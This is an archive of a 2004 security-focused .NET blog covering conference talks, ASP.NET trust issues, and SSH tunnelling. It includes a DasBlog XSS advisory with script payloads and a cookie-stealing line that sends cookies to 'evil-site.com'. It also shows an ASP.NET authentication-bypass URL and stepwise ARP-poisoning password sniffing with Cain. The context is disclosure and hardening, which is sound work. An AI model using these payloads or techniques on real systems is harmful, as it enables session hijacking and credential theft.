
my blog has been succesfully migrated.....

Monday, November 29, 2004 1:20:16 PM UTC     

my blog will move to another server in the next days. you don't have to change anything - the domain name will stay the same.

but - there could be some minor problems regarding availability.

Monday, November 29, 2004 12:58:15 PM UTC     

don't know your opinion - but i think the Microsoft IPSEC GUI sucks rocks....

via Diniz Cruz:

http://www.hernanracciatti.com.ar/ipfront/screenshots.htm

there is still lots of room for improvement - but i really like the idea of having a more "natural" way of interacting with IPSEC packet filtering. so watch out for updates.

Friday, November 26, 2004 10:47:19 PM UTC     

want to stop smoking...or just feel better in general. try this. great :)

Thursday, November 25, 2004 8:57:08 AM UTC     

found this again. the best explanation of delegates/events and the motivation behind them i've ever read. kudos to chris.

Sunday, November 21, 2004 5:47:10 PM UTC     

inspired by this article on the CodeProject - i built this little screen saver which pulls the last 10 entries off my blog. just for fun.

LeastPrivilege_ScreenSaver.zip (9,57 KB)

rename the resulting .exe file to .scr and copy it to \windows\system32.

Sunday, November 21, 2004 5:05:05 PM UTC     

Aaron wrote an excellent article about that very topic.

Saturday, November 20, 2004 11:09:09 AM UTC     

If you are interested in .net/windows security - check out michael willers blog!

You'll find interesting in-sights in secure deployment, authenticode and low level windows security programming. subscribed!

Wednesday, November 17, 2004 12:01:45 PM UTC     

Christian Weyer was so kind to send me a beta version of his Contract First! tool WSCF -

while having only looked briefly at it by now - i can say - this rocks!

keep up the good the work!

Tuesday, November 16, 2004 7:54:01 AM UTC     

as promised - my slides from the advanced developers conference "Hackproofing W2K3/IIS6/ASP.NET" (german)

Hackproofing IIS6.pdf (1002,9 KB)

Wednesday, November 10, 2004 8:21:10 PM UTC     

i arrived at ulm (well, to be exactly it is "neu-ulm" which is apparently a complete different thing for my car navigation....). it is snowing in germany, which is kind of mad since we had 12°C 3 days ago - and driving was not really big fun.

then i managed to miss the other speakers for dinner...

ok - that gives me some time to work in the hotel room (networked hotels rule!)

i just did a prototype of an ASP.NET frontend for LogParser - yes - it is ugly - and it is not working 100% correctly (ok 50% would be more accurate) - but sufficient to show tomorrow.

i will post the slides tomorrow - and the LogParser sample when it is usable.

i will do a talk about securing W2K3/IIS6/ASP.NET Servers/Applications tomorrow and i think i prepared some good demos. to cite peter provost: "scare the shit out of them!" -

i will :)

OK - bed time.

Tuesday, November 09, 2004 8:49:31 PM UTC     

when browsing through the Microsoft ASP.NET security newsgroups - 85% of all problems seem to be identity, impersonation, delegation and resource access problems (over and over again).

Microsoft Support has compiled a page called "Common Security Issues when Accessing Remote Resources with ASP.NET" pointing to several related KB articles. And they are actively adding stuff.

Sunday, November 07, 2004 10:23:40 AM UTC     

A lot of the security primitives in .NET depend on extra information attached to the current thread, e.g. CurrentPrincipal, CAS Markers and Impersonation Tokens.

Ever wondered what happens when you spin off a new thread - is this vital security information correctly propagated??

Easy Answer (.Net 1.1) : NO.

e.g. Delegate.BeginInvoke and Thread.Start copy Thread.CurrentPrincipal - System.Threading.Timer and ThreadPool.QueueUserWorkItem do NOT !

I attended Mike Woodrings talk about that topic at WinDev which was very interesting - beware when you are doing multi threading in 1.1 !!!

the good news are that in Whidbey everything will behave more as "expected".

Mike showed an excellent proof-of-concept code that demonstrated all the various scenarios and how .net behaves. Just convert the solution to Visual Studio 2005 and watch how the results differ. highly recommended.

Saturday, November 06, 2004 3:13:13 PM UTC     

you all know that you should reject weak passwords in your applications...

to make this task easier i wrote a new validator control for ASP.NET - just set the minimum amount of required entropy bits and validate your password textboxes.

PasswordEntropyValidator.zip (2,98 KB)

Thursday, November 04, 2004 6:50:51 PM UTC     

i will do three talks and the post-conference at DevWeek 2005 in Lodon. Other speakers include tim ewald, ingo rammer, jeff richter, jeff prosise, simon horell and dino esposito...

the talks:

Designing Application Managed Authorization

Authorization is a task, which every programmer has to face sooner or later. While authentication is handled in most situations by the operating system, authorization concepts have to be designed on a per application basis. The .NET Framework provides various authorization mechanisms to control the functionality of applications so that they behave as intended and cannot be misused either accidentally or deliberately. These include role based access checks using windows or non-windows accounts, Microsoft Authorization Manager, COM+ role based security and code access security authorization. This session provides guidelines for designing and coding application-managed authorization for single or multi-tier applications that are based on .NET. It focuses on common authorization tasks and scenarios, and it provides information that helps you choose the best approaches and techniques.

New Security Features in .NET 2.0

.NET 2.0 provides provides a vast amount of important additions and updates to security. New Features include SSL Server Support, Kerberos/SSPI Support for Remoting and Sockets, ClickOnce, managed Access to the Windows Certificate Store and the PKCS (Public-Key Cryptography) Standards, Starting Processes in a new logon session, support for the Data Protection API and access to Windows ACLs. This talk shows you what to expect from these new APIs and how the solve the shortcomings of 1.1. You will see these features of the next generation of the .Net Framework will meet real-world requirements.

Building Managed Apps with WMI and .NET

WMI is a technology to manage nearly every aspect of your Windows landscape. This talk shows you how WMI works, how you can access the WMI repository from .net, subscribe to management events and instrument your own applications. Attendees will see the WMI Explorer for Visual Studio .NET and some real world management and security issues.

and the post-conference:

Building Secure Distributed Applications

In this all day workshop you will learn how to secure every single tier of your distributed applications. Including how to do authentication, authorization, how to flow identities between your layers and how to separate the business logic from your authorization logic. You will see how to avoid common programming mistakes like sql injection, cross site scripting and canonicalization errors and how to implement partially-trusted applications and servers to live the least privilege life-style.

Sunday, October 31, 2004 7:58:24 AM UTC     

i had a great week at windev. this is such a nice conference.

i've seen some very interesting talks, met a lot of people for the first time, met a lot of people again - you know who you are - thanks for the quality time :)

thanks keith for having me! can't wait for our next mafia game :)

Saturday, October 30, 2004 12:17:25 PM UTC     

the slide for my penetration testing talk - all urls of the tools i showed are included in the slides.

Pentest.pdf (1,11 MB)

Saturday, October 30, 2004 7:15:18 AM UTC     

as promised - the slides and source code for my talk about authorization

slides Authz.pdf (220,7 KB)

.NET IIdentity/IPrincipal Roles.zip (16,76 KB)

AzMan AzMan.zip (83,66 KB)

For a more detailed explanation of the AzMan source code - check out the accompanying articles on my blog (just search for AzMan).

thanks

Saturday, October 30, 2004 7:02:26 AM UTC     

whew. i had big fun in my two talks at WinDev. What a nice conference!

i have some problems uploading the slides from the hotel to this server. i will do it in the next days. just subscribe and stay tuned :)

thanks to everyone who attended.

Thursday, October 28, 2004 7:35:34 PM UTC     

i am currently making my final preparations for WinDev (take care that all my tools and demos are working, preparing a VMWare image, going through the slides, trying to fight my excitement etc). I am leaving tomorrow.

Sunday, October 24, 2004 8:55:26 AM UTC     

The new issue of MSDN Magazine is focused on Security - one article covers the new ACL support in .NET 2.0.

Wednesday, October 20, 2004 3:07:56 AM UTC     

I am proud to announce that we (my company ERNW) are hosting the blog of dinis cruz. This is the official OWASP-DOTNET blog - dedicated to .NET Security in general, and ASP.NET Security and Full Trust in particular.

subscribed!

Monday, October 11, 2004 9:46:13 AM UTC     

I wanted to start a debug session and hit by accident F12 in VS.NET 2005 - a new tab opened up and showed me a C# class called String with the stubs of every public member of the System.String class + ToolTip in XML Code Comment format...

Wow. what's going on?

A little investigation turned up that F12 is mapped to the "Go to Definition" command which you normally get by clicking the right mouse button in source code view. In VS.NET 2003 this was normally used to navigate your source code.

Seems that in VS.NET 2005 every time this command can not navigate to the definition (typical VS.NET 2003 error message "Cannot navigate to xxx"), it shows a "C# View" of the public members of the type.

cool.

Sunday, October 10, 2004 5:39:05 PM UTC     

MS says: http://www.microsoft.com/security/incident/aspnet.mspx

UPDATE
Though we could not reproduce it - Microsoft states that Windows 2003 and IIS6 are also affected...

Wednesday, October 06, 2004 8:33:24 AM UTC     

if you want to turn on Remote Desktop on a WinXP or 2003 machine over the the network, this little WMIC command will help

Saturday, October 02, 2004 3:45:45 PM UTC     

After some experimenting - i could also reproduce the same behaviour with Windows Authentication.

So the bug is not in Forms Authentication, it is a canonicalization error in the UrlAuthorization Module of ASP.NET.

The reason why Windows 2003 is not affected is, because of the built-in URL normalization in IIS6 - so the encoded URL never reaches the CLR. You can get the same result on Windows XP and Windows 2000 which are vulnerable (regardless the .NET Service Pack) by installing URLScan (considered best-practice on these platforms anyway). So do it!

UPDATE
Duncan Godwin posted a small HttpModule to the DevelopMentor DOTNET-WEB list which filters out those specific characters. works as a short term solution if you can't use URLScan or upgrade to IIS6

Friday, October 01, 2004 10:23:36 AM UTC     

My previous post was based on an incomplete test scenario.

what i can say by now is - i can reproduce the bug on Windows XP with 1.1 and even 1.1 SP1.

i cannot reproduce the bug on Windows 2003 with and without the service pack.

you can try yourself if you are vulnerable. fritz hacked up a quick proof of concept web app. download it and try if the following url gives you "you shouldn't be able to see this without authenticating". FormSec.zip (12,84 KB)

http://localhost/formsec/secure%5Csecret.aspx

Thursday, September 30, 2004 9:12:50 PM UTC     

See this post for an update

This seems to be fixed in .NET 1.1 SP1

i could reproduce the vulnerability on V1.1.4322573 (which is plain 1.1) - but i couldn't reproduce it on V1.1.4322.2032 (which is 1.1 SP1)

so - patch those machines!

Thursday, September 30, 2004 1:43:39 PM UTC     

forwarded from OWASP-DOTNET read the whole story here for some examples of vulnerable and not vulnerable web.config settings.

It seems from the original mail that microsoft wasn't even contacted before disclosing this vulnerability which is extremely bad style.

this is serious!

A request to http://localhost/secure/somefile.aspx would then redirect the user to a predefined authentication page, as defined in web.config, before allowing the user access to "somefile.aspx".

1. Using Mozilla not IE, you make a request to http://localhost/secure\somefile.aspx
The use of a backslash rather than a forward slash appears to bypass the expected authentication model invoked in .NET forms authentication

2. Using IE, you make a request to http://localhost/secure\somefile.aspx -
IE automatically replaces the backslash "\" with a forward slash "/" and everything appears fine. However, replace the backslash "\" with %5C (%5C being hex value for \) and all is not so fine:

http://localhost/secure%5Csomefile.aspx

Thursday, September 30, 2004 8:50:55 AM UTC     

There is quite a lot of talk recently about the dangers of fully trusted code. i can only agree.

Keith Brown gives some nice examples in his article "Beware of fully trusted code" what code can do if all CLR security measures are switched off (that's what full trust basically means), e.g.

• Invoke private Methods using Reflection
• Execute Methods in other AppDomains
• Call Assert..or even turn of CAS all together for the current process

Isn't that kinda scary?

The CLR provides very powerful mechanisms for sandboxing code, e.g. loading code in question in a second (partial trust) AppDomain and use the CrossAppDomainChannel to communicate with this code (think of a plugin-type scenario). If you are at WinDev this year - check out Robert Hurlbut's talks about writing least privilege apps and hosting code in secure AppDomains.

Microsoft doesn't make it easy for us to design and test partially trusted code nowadays. This will get better in .NET 2.0.

One interesting aspect of this problem that merely noone seems to be aware of are fully trusted ASP.NET apps. ASP.NET Web Applications and Services (ASPX & ASMX) are fully trusted by default. So what - you might think...

Here's a selection of things fully trusted ASP.NET Code can do (thanks to Dinis Cruz from the OWASP project for his research on this topic):

• Call out to unmanaged code, e.g. RevertToSelf (e.g. if impersonation is enabled, you can revert back to ASPNET or the worker process identity)
• Reading and reflecting against assemblies of other web applications in the temporary ASP.NET folder
• Spawning new processes via WIN32, WSH or WMI
• Reading other web sites Metabase entries, e.g. the anonymous user and impersonate them (Metabase entries are ACLed so that IIS_WPG can read them by default)
• Search the process space for Windows Tokens (e.g. from other web apps running in the same process but different AppDomains), grab them and impersonate.

This is especially important if you are sharing the Web Server with other parties (shared hosting environment, e.g. at ISPs or corporate Web Servers) - but also if you want to reduce the attack surface of a ASP.NET App/Service to minimize the risk of misuse.

.NET 1.1 introduced the possibility to run ASP.NET AppDomains in partial trust There are some pre-defines trust levels like full, high, medium and low which can be applied globally through machine.config or a per WebApp in web.config. Check out the brilliant "Threats and Countermeasures Paper" on the MSDN Patterns & Practices site for in-depth information, especially chapter 9.

Simply by adjusting the trust level to high resolves most of the problems, e.g. calling out to unmanaged code. cool - you may think. So ISPs only have to adjust the trust level in machine.config and everything is safe...

Unfortunately it is not that easy -

Even with partial trust you can still e.g. read from the temporary ASP.NET folder, but there is also some important stuff that won't work anymore - e.g. using OLEDB Providers.

Local Access Databases are the only easy way to do data driven Web Sites in shared hosting environments (the security of this solution is another story - if you are in doubt - try to access the .mdb file directly through your browser and see if it is downloadable). But this won't work anymore if the app doesn't have permissions to use OLEDB.

At first glance this only looks like you have to create a custom policy file and add the required OleDbPermission (as described in Threats and Countermeasures) - but the problem is buried deeper in the Runtime. The OleDb class not only demands the OleDbPermission but also has a Full Trust Link Demand. The only way to circumvent this problem (again described in TaCm) is to sandbox your database access code in the GAC with Full Trust and APTCA..again no solution for a shared hosting environment. So we are stuck here.

The SQL Server Provider runs fine in partial trust. So maybe with the advent of SQL Server 2005 and xcopy-deployed MDF files the situation will get better.

Another problem is, that not all framework libraries are allowed to be called by partially trusted code. Check out the above mentioned Keith Brown article for a list and his FindAPTC tool. WSE2 e.g. will not work in partial trust.

But if you have to share the server machine you should definitely demand a partial trust level as well as a W2K3 box (because of the worker process mode isolation), a seperate worker process (App Pool) and a seperate worker process account - but even then the admin of the box can do a vast array of misconfigurations that prevents a clean separation of the applications (NTFS and Metabase ACLs, location of temporary assemblies a.s.o).

If you want to experiment or test how much permissions/privileges your application has, i can recommend the OWASP tools - all available from http://www.owasp.org/software/dotnet.html

• ASP.NET Security Analyzer (ANSA)
• ASP.NET Baseline Security (ANBS)
• Security Analyzer for Microsoft Shared Hosting Environment (SAM'SHE)
• ..and a very good whitepaper about this topic (Secure Shared Hosting with IIS5)

aah - and btw - the first commercial product that came across my way that runs in partial trust by default is Microsoft's SharePoint Portal Server 2003 (which makes extensive use of 3rd party plugins called WebParts....)

Some further information/links about this topic:

• Robert Hurlbut on Partial Trust
• Maxim Karpov - Guilty until proven innocent
• Setting MetaBase ACLs
• Changing the location of temporary ASP.NET files (see under debug)
• OWASP Mailing List (recommended!)

Tuesday, September 28, 2004 9:54:48 AM UTC     

the must-read book for .net developers is finally shipping!

Tuesday, September 21, 2004 6:10:23 PM UTC     

saturday morning fun...

using System;
using System.Net.NetworkInformation;

class WhidbeyPing
{
  static void Main(string[] args)
  {
    PingReply reply = new Ping().Send(args[0]);
    Console.WriteLine("Reply from {0} - Roundtrip Time {1} ms", reply.Address,
                                                                                      reply.RoundTripTime);
  }
}

Saturday, September 18, 2004 9:15:02 AM UTC     

i currently have to convert code and some slide decks for a customer to this strange language that doesn't accept semicolons at the end...

most of the time this is a no-brainer - but a time consuming and annoying task.

I have found a web site with an online converter. Works quite well.

No i know what MS means with "simple and mechanical"......

Friday, September 10, 2004 10:50:38 PM UTC     

Foundstone has released a sample web application written in ASP.NET / C# that simulates the most common vulnerabilities in todays HTTP based applications (cross site scripting, sql injection...).

You can instantly start hacking - or read the detailed how-to pdf thats included.

Have Fun :)

Friday, September 10, 2004 7:37:42 AM UTC     

Prior to Windows 2000 there was no built-in possibility to figure out which program on your system opened which port. You could use 'netstat -an' to list all open ports, but not which process or library has opened the ports. TcpView from SysInternals came to a rescue.

Starting with Windows XP and 2003 'netstat -ano' shows the ID of the process that opened the port. So you could modify your task manager view to include PIDs and figure it out that way.

XP SP2 adds new switches to netstat to directly show the program (plus the subcomponents) that opened the port. cool.

try 'netstat -b' for a overview and 'netstat -bv' for more detailed info.

I still can recommend TcpView and for the highest possible amount of in-sight use Process Explorer (which can even replace the task manager).

Friday, September 03, 2004 9:44:30 AM UTC     

ERNW Security Advisory

Cross-Site Scripting Vulnerability in Newtelligence DasBlog

Author:
Dominick Baier <dbaier@ernw.de>

1. Summary:
A XSS (Cross-Site-Scripting) Vulnerability in DasBlog's Event and Activity Viewer allows to inject and execute code on the client's machine. This allows an attacker to transfer the ASP.NET authentication cookie to a server of his choice. The attacker can use this cookie to log on to DasBlog and modify blog entries and configuration settings.

2. Severity : Critical

3. Systems affected

DasBlog Versions:
 All

Browsers
 Tested with IE 6 and Firefox 0.93

4. Patch Availability / Vendor Instructions

5. Details

The Activity and Events Viewer show details about requests that were made to the blog site. As extra information they show the Referrers, Query Strings and User Agents of these requests. It is possible to specially malform those HTTP Headers to inject scripting code. This code gets embedded in the HTML pages and executed on the client. With specially crafted JavaScript code a attacker can transfer the ASP.NET Forms Authentication Cookie to a server of the his choice. While injecting this cookie in a HTTP request to DasBlog he can authenticate without having to know the username or the password and enter the administrative area.

Examples of script injections

<script>alert('XSS')</script>
<img%20src="javascript:alert('XSS')">
<img%20src=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;
alert(&quot;XSS&quot;)>

Leading e.g. to the following HTTP request

GET / HTTP/1.1
User-Agent: <script>alert('xss')</script>
Host: www.victim.com\r\n
Accept: */*

Example of transferring a cookie using JavaScript

<script>document.location='http://www.evil-site.com/cookieEater.aspx?cookie='+document.cookie</script>

6. Solution
Install the patch.

7. Time-Line
The vulnerability was found on the 15th August 2004. The author was contacted on the same day with a immediate response. The patch has been provided on the 30.August 2004

8. Disclaimer
 
The informations in this advisory are provided "AS IS" without warranty
of any kind. In no event shall the authors be liable for any damages
whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages due to the misuse of any
information provided in this advisory.

Wednesday, September 01, 2004 6:15:45 AM UTC     

Hi,

last week i found a Cross-Site Scripting vulnerability in dasBlog that allows to inject script code in certain administrative pages and to "steal" the administrative cookie.

I will post a detailed advisory later this week.

for now - if you use dasBlog get the patch and installations instructions here. ASAP.

Spread the word!

Monday, August 30, 2004 8:37:42 AM UTC     

i wasn't able to run LookOut as a Non-Admin. The Toolbar won't show up when logged on as a normal user.

This makes it fairly unusable for me :(

It's funny that Microsoft bought and released a product on their shopping tour that doesn't conform to their own Windows XP Logo Guidelines....

Has anyone managed to get this to work??

Wednesday, August 25, 2004 7:15:24 AM UTC     

I am speaking at this year's Advanced Developers Conference.

The talk is called "Hackproofing your Windows 2003/IIS 6 Servers".
You can expect the following topics:

• Hardening Windows 2003
• Disable unused Services/Protocols
• Minimize Attack Surface
• Hardening IIS6
• Common ASP.NET misconfigurations
• Log Analysis
• Secure Remote Administration
• Tools, Tools, Tools

Other speakers include Ingo Rammer, Bernd Marquardt, Ralf Westphal, Christian Weyer, Michael Willers...

be there

Advanced Developers Conference
10.-11. November 2004
Ulm, Edwin-Scharff-Haus
Germany

Monday, August 23, 2004 12:31:43 PM UTC     

I recently read a story in a germany magazine about developing with Visual Studio under a non-Admin account. I am happy that this topic gets more and more press coverage so that people start to think about it.

But there still seems to be some confusion regarding the Debug privilege.

The article states that you need this privilege to attach to processes that run under a different account (that's right) and further says that the "Debugger Users" group, that gets generated by VS.NET install, has this privilege granted. So everyone who needs this privilege has just to be added to "Debugger Users".

That's not true. The "Debugger Users" group serves only one purpose. It gets checked by the Machine Debug Manager. Let me quote shaykatc:

"Visual Studio uses a service to do debugging called the MDM or Machine Debug Manager. This is one of the components installed by the remote debugging components. This is needed only by Visual Studio - so if you have the framework on your machine, or cordbg this doesnt apply. The MDM is the first gatekeeper - only two people are allowed to talk to it. Admins on the machine + members of the Debugger Users group (a group created on the machine when the mdm installs). The Debugger Users group is often misunderstood. It serves one function only - its members are allowed access to the MDM. It gives no other permission or privilege to you."

That would clarify why you still can't debug ASP.NET apps while being a member of this group.

"So lets say you add yourself to the Debugger users group and you are'nt an admin on the machine. Now comes the second test - the runtime rule for managed debugging. The rule is simple - if the managed process is running as you, or you are an admin on the machine, you can managed debug it. So now the debugger tries to attached to aspnet_wp.exe (which almost always runs as ASPNET/Network Service). You are'nt an admin so that check fails. You arent ASPNET/Network Service so that check fails too and you cant attach."

Granting SeDebugPrivilege to the developer would help here - but i wouldn't recommend it.

So why do i want to get rid of SeDebugPrivilege?
SeDebug is a very powerful privilege, it allows you to read the memory of other processes (including the Local Security Authority) and let's you even inject code in those processes.
The famous "LSADUMP" tool only needs this privilege to dump out all LSA Secrets.

My Home Office/Laptop Scenario
I mainly run as non-Admin to shield myself from some malware and to "self discipline" myself when writing code. I am running on my own hardware in my own domain. So it's my own choice

Corporate Scenario
Imagine a domain environment where you may have services running on the development machines that need a password (e.g. backup agent or remote admin software) of a local admin or even worse domain admin account. LSADUMP is your friend and shows you this password. A developer holding that privilege can do all sorts of other nasty things to the machine, believe me.
So running as non-Admin or not granting SeDebugPrivilege helps save the user from viruses, trojans etc - but also shields the Domain Environment from a malicious user (i recently had a customer which policy included the handling of SeDebugPrivilege for the Development Appartment - sadly, they got it wrong, too).

So how do i get rid of SeDebugPrivilege?

Well - that's not always easy. The main situation where debugging fails is when developing ASPX or ASMX projects.
I use the following solution (which only works on IIS 6)

• Create a AppPool. Set the Identity of this AppPool to your account
• Add your account to the IIS_WPG group
• Add the ASP.NET Project to this AppPool

Now the Worker Process runs under your account and the Debugger has no problems attaching to it, even if you are not Admin - have SeDebugPrivilege.

The story is a little bit different under IIS5/5.1. You could make ASP.NET run under another account as ASPNET - you can configure that in machine.config - i assume this involves some testing and i haven't tried it yet - but it should work.

When you are doing Enterprise Services/COM+ development, you can run the COM+ Application under the interactive (your) account - or specifiy another account. so this works too.

Thursday, August 19, 2004 9:00:10 AM UTC     

came across my way today - looks useful.

"A C# library containing wrapper classes for ACL, ACE, Security descriptors, Security Attributes, Access tokens, etc. The archive also contains 3 samples: A "Task manager" WinForms application that uses the library to display token information of running processes and threads. A command line version of the same application. And finally, a demo application displaying the DACL of the "C:\boot.ini" file and creating a Win32 Event object with a security descriptor built using the library classes."

on gotdotnet

Tuesday, August 17, 2004 6:55:07 PM UTC     

I don't know what Microsoft has changed to the ARP cache behaviour...but

ARP spoofing attacks are still possible!

You can easily reproduce that (you need at least three machines - one could also be a router) -

• Download and start Cain
• Click "Configure" and select the appropriate network interface
• Activate the Sniffer and go to the "Sniffer" Tab
• Click the "+" Icon - Cain will now scan the subnet for all attached devices (in my case my laptop with XP SP2 installed and the cisco router which is my default gateway)
• Go to the "APR Tab" (ARP Poisoning & Routing)
• Click the "+" Icon
• Now select the machine(s) which communication you wan to redirect to your machine (in my case i selected the laptop on the left and the router on the right)
• Activate APR

That's it - now all the traffic between the router and the laptop passes my machine (even in a switched network). Cain can recognize and collect various passwords directly from the wire including ftp, http forms auth, telnet, pop3, sql server...you can see the collected passwords on the "Passwords" tab. Those passwords that need cracking can be sent with right-click "send to cracker" to a cracking module (e.g. ntlm, kerberos pre-authentication...).

To get more insight into the packets just fire up ethereal on your machine and you'll get the full story.

So whatever they did, those SP2 changes don't increase the protection from these attacks. maybe they make it harder to start an attack from SP2 - and then again this is as stupid as removing raw sockets...
In fact i already saw operating systems with working anti ARP spoofing measures, e.g. the Cisco IOS. If they see a ARP broadcast on the wire where someone pretends to be them they immediately send a bunch of correct ARP packets out on the network.

an excellent explanation of how ARP spoofing works can be found here.

btw - the only protection against ARP spoofing at the moment (on Windows) is to add static ARP entries in the cache, e.g. for your standard gateway with

arp -s IPAddress MACAdress

...but who does that?

Friday, August 13, 2004 3:13:50 PM UTC     

with the help of dana epp, fyodor has a patched version of nmap (nmap-3.55SP2) for download.

It seems that Microsoft also did some modification to the ARP cache. This was about time! Let's see how XPSP2 performs with some tools like arpspoof or Cain.

I don't have any details about the ARP changes, but i'll keep you informed.

Friday, August 13, 2004 12:03:43 PM UTC     

Microsoft removed raw sockets from Windows XP SP2.

Before SP2 they were only available to Administrators and some people argued that with this powerful features Windows XP will be the "denial of service tool of choice for internet hackers everywhere"

There are several network tools that depend on that functionality, e.g. nmap.

I use nmap rather often so this was shocking for me - i gave it a try.

OK - most of the option i normally use still seem to work (i tested version 3.50 and not the newest 3.55). connect scan, stealth scan, version scan and fingerprinting seem to be OK (i also read other statements - but my first impression was good). what is broken are the IDS Evasion options like decoy scan or idle scanning (i think it's because nmap has to spoof ip addresses whith these kind of scans and that's were raw socket come into play...)

here's the official statement from fyodor.

UPDATE: Fellow DevelopMentor instructor Ian Griffiths wrote a nice summary and consclusion about this change.

Thursday, August 12, 2004 2:01:39 PM UTC     

i found an explanation why setting compatibility mode on mstsc.exe solves the "localhost" problem...(see here).

sounds reasonable:

"And why does this work? Well, my guess is that mstsc.exe uses something like the Win32 EnumServices API to check if you can run the service at all, and bars you from connecting to any of your network addresses (including, of course, localhost). Windows 98, however, does not have these APIs, and programs running under emulation under XP cannot access them."

Saturday, August 07, 2004 9:17:52 PM UTC     

SSH is much more than a "secure" alternative to telnet.

besides terminal services it supports:

• Strong Encryption (AES-256, 3DES, Blowfish...)
• Strong Authentication ((One Time) Passwords, Public Keys)
• File Transfer
• Port Forwarding

SSH is also not suspectible to Man-In-The-Middle attacks (besides the first ever logon to a server where you get the host key).

On top of that stable foundation, SSH can tunnel nearly every TCP protocol through his secure channel. This is especially interesting because you can forward insecure protocols like smtp or pop3 through the tunnel or add another layer of authentication to a protocol, e.g. key based authentication over a terminal services password logon.

And really cool about that - you only have to open the SSH port (TCP/22) on the firewall or local packet filter - all the other protocol get tunneled through this port. this radically reduces the attack surface.

to get up and running:

• Get a copy of OpenSSH from Cygwin.
• Install it on your server machine. This can be a little bit tricky - you have to pick Admin/Cygrunsrv and Net/OpenSSH from the tree. i would also recommend to install Doc/CygwinDoc and Editor/VIM (good old VI).
• After installation start the Cygwin shell and execute "ssh-host-config -y". This will generate the keypair and set everything up.
• Some versions of the installer vary if they ask you about setting up SSHD as a Windows Service. If you get asked say yes. If not run "cygrunsrv -S sshd".

you should now already be able to connect with "ssh localhost". SSH maps the initial passwd file to your Windows accounts.

If you want to have full SSH support und Unix feeling on the client, install Cygwin on your client machine. you just have to install it - no configuration of SSH is neccesary (as you only have to do that on servers).

A more lightweight alternative is to use putty as a SSH client. Putty has only 400K, is a single exe and does not have to be installed.

Port Forwarding
I use port forwarding in two cases.

1. to connect to my web server box using terminal services. you first open the tunnel with the following command

ssh -L3389:localhost:3389 user@192.168.0.5

this opens up a local listener on port 3389 and waits for incoming connections. Then SSH forwards all packets to the other end of the tunnel (in that case 192.168.0.5) to port 3389. All you have to do now is to fire up your Remote Desktop Client and connect to 127.0.0.1 (check my previous post)

2. to send and retrieve emails. you know that smtp and pop3 send everything in clear text. this includes your mails and your password. and - e.g. when i do a security class, there are always some guys that use those nasty tools i showed them to sniff MY traffic  (just to show me that they can do it). i certainly don't want to change my mail password after every class...and also i don't have to open port 110 (pop3) on my mail server.

to set up mail tunneling, use this command:

ssh -C -L 110:localhost:110 -L 25:localhost:25 user@192.168.0.5

now configure your outlook to contact smtp and pop3 servers on 127.0.0.1. Even if the tunnel is not running - your password will never leave your machine over the wire.

You can also use putty to set up forwarding. go to the Connection/SSH/Tunnel configuration page and create new entries in the port forwarding list. Choose a local port to listen on and choose localhost:destination_port as a destination.

Wednesday, August 04, 2004 4:42:03 PM UTC     

Hi,

a while ago i wrote a paper on how to tunnel terminal services through a ssh (secure shell) connection.

this solution had one problem -

it was required on the client side to connect with the Remote Desktop Client to localhost - but that isn't possible under Windows XP (and i didn't notice that at first because i only tested it on a client which had W2K3 installed).

As i have Windows XP on my laptop this bugged me because it is really a neat solution (more on that later) and i couldn't use it while being on the road.

Today i found an interesting document on that topic and a rather obscure (but working solution).

1. Copy mstsc.exe and msctax.dll to another folder - i copied mine to \etc\tools. These files were (in my case) under \Program Files\Remote Desktop. That's because i installed the RD Client from the Windows 2003 CD
2. Go to the properties of mstsc.exe and set a compatibility level of Windows 98
3. That's it. Now you can connect to 127.0.0.1 with that "modified" version of mstsc.exe. Even "127.0.0.1:4000" is working - in case you set up the local forwarder port to 4000 (or something different than 3389)

I don't have the foggiest notion of what this compatibility setting does. but it does work.

The original (german) paper can be found here.

Wednesday, August 04, 2004 3:00:20 PM UTC     

The "new Keith Brown" is now completely online in a wiki.

great resource!

Tuesday, August 03, 2004 9:37:20 AM UTC     

UPDATE
i currently prepare the slides for my WMI talk at DevWeek. in case you wondered, this is the async version of the NetworkChangeWatcher:

static void Main(string[] args)
{
   WqlEventQuery query =
    new WqlEventQuery("__InstanceModificationEvent",
    new TimeSpan(0,0,5),
    "TargetInstance isa \"Win32_NetworkAdapterConfiguration\""); 

   ManagementEventWatcher eventWatcher = new ManagementEventWatcher(query);
     
   eventWatcher.EventArrived += new EventArrivedEventHandler(Delegate_EventArrived);
   
   // start listening for events
   eventWatcher.Start();
   Console.ReadLine();
}

private static void Delegate_EventArrived(object sender, EventArrivedEventArgs e)
{
   uint index = System.Convert.ToUInt32(((ManagementBaseObject)e.NewEvent["TargetInstance"])["Index"]);

   Console.WriteLine("NIC #{0} has changed its state", index); 
}

i had a look at the new System.Net.NetworkInformation namespace in whidbey. this looks promising!

if you are writing apps that have to be aware of network and connectivity changes you can accomplish the same as Whidbey's NetworkChange events with WMI Events.

You first have to create a WMI EventQuery. In our case this means: "tell me when a instance of the win32_NetworkAdaptedConfiguration class gets modified. I will ask you every 5 seconds." With the ManagementWatcher you create the transient event subscription.

The WaitForNextEvent() call is blocking, so you should run the subscription loop on a different thread or use the asynchronous WMI subscription service.

WqlEventQuery query =
    new WqlEventQuery("__InstanceModificationEvent",
    new TimeSpan(0,0,5),
    "TargetInstance isa \"Win32_NetworkAdapterConfiguration\"");

   ManagementEventWatcher watcher = new ManagementEventWatcher(query);
     

   // you could loop here 
   ManagementBaseObject evt = watcher.WaitForNextEvent();

   // retrieve the index of the network card that changed   
   uint index = System.Convert.ToUInt32(((ManagementBaseObject)evt["TargetInstance"])["Index"]);

   // create a WMI wrapper class
   ROOT.CIMV2.NetworkAdapterConfiguration nic = new NetWatcher.ROOT.CIMV2.NetworkAdapterConfiguration(index);
  
   Console.WriteLine("{0} : {1} / {2}", nic.Index, nic.IPAddress[0], nic.IPSubnet[0]);

   watcher.Stop();

btw - if you are doing WMI programming with Visual Studio you should check out the WMI Extensions.

did you notice the wrapper class in the above sample? it was generated by the WMI Extensions. To get this class:

• Install the WMI Extensions
• Open Visual Studio
• New Project
• Go to Server Explorer / Management Classes
• Right Click -> Add Class
• Drill down to root\CIMV2 : Network Adapter Settings
• Click Add and OK
• Right click on the new node -> Generate Managed Class

You can also call all WMI Methods trough the Server Explorer and test WMI Event Queries. useful stuff.

Monday, August 02, 2004 2:04:47 PM UTC     

Today i read about a new Namespace in Whidbey.

This stuff is very useful. You can subscribe to notifications when network connectivity changes, obtain information about tcp/ip connections (like netstat) and more...

